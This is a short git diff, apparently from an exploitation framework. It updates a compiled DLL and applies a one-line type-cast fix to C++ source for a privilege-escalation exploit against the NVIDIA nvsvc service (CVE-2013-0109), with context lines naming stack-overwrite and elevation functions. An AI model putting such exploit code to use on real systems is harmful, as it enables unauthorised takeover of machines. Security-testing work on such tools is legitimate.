diff --git a/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll b/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll index 7111a180c1..c5de3905b5 100755 Binary files a/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll and b/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll differ diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp index 167834047c..68fd9dd039 100755 --- a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp +++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.cpp @@ -296,7 +296,7 @@ BYTE *BuildMalicious_OverwriteStack() */ VOID elevate_nvidia_nvsvc(LPVOID payload) { - SIZE_T payloadLen = strlen(payload) + 1; + SIZE_T payloadLen = strlen((char*)payload) + 1; DWORD dwReturnCode = 1, dwBytesInOut = 0; HANDLE hPipe = NULL;